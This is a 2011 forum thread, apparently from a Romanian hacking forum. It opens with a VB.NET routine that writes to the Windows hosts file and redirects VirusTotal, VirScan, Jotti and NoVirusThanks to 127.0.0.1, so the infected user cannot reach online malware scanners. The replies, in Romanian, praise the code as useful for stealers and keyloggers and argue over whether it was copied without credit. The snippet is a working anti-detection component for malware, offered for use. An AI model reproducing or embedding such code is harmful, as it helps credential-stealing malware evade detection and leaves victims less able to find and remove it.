Skream Example Posted April 13, 2011 Report Share Posted April 13, 2011 Imports System.IOImports System.Reflection#Region " block all Av sites " Public Shared Sub avbloker() 'Dim objWriter As New System.IO.StreamWriter("C:\fire2.txt") 'objWriter.Write("xfind2") 'objWriter.Close() Dim path As [String] = "C:\Windows\System32\drivers\etc\hosts" Dim sw As New StreamWriter(path, True) Dim sitetoblock As [String] = vbLf & " 127.0.0.1 www.virustotal.com" Dim sitetoblock1 As [String] = vbLf & " 127.0.0.1 www.virscan.org" Dim sitetoblock2 As [String] = vbLf & " 127.0.0.1 www.virusscan.jotti.org" Dim sitetoblock3 As [String] = vbLf & " 127.0.0.1 www.vscan.novirusthanks.org" sw.Write(sitetoblock) sw.Write(vbNewLine & sitetoblock1) sw.Write(vbNewLine & sitetoblock2) sw.Write(vbNewLine & sitetoblock3) sw.Close() EndEnd Sub#End Region Quote Link to comment Share on other sites More sharing options...
luke999 Posted April 13, 2011 Report Share Posted April 13, 2011 asta se putea face mai simplu putin... oricum e fff bine , si util pentru viitor mai ales pt stealare keyloggere etc...oricum sunt sigur ca pentru asta ai facut codul Quote Link to comment Share on other sites More sharing options...
nSnoopy Posted April 13, 2011 Report Share Posted April 13, 2011 asta se putea face mai simplu putin... oricum e fff bine , si util pentru viitor mai ales pt stealare keyloggere etc...oricum sunt sigur ca pentru asta ai facut codulNu e facut de el E gasit pe net, dc nu pui si sursa ? Quote Link to comment Share on other sites More sharing options...
Skream Example Posted April 14, 2011 Author Report Share Posted April 14, 2011 Ce conteaza ? Quote Link to comment Share on other sites More sharing options...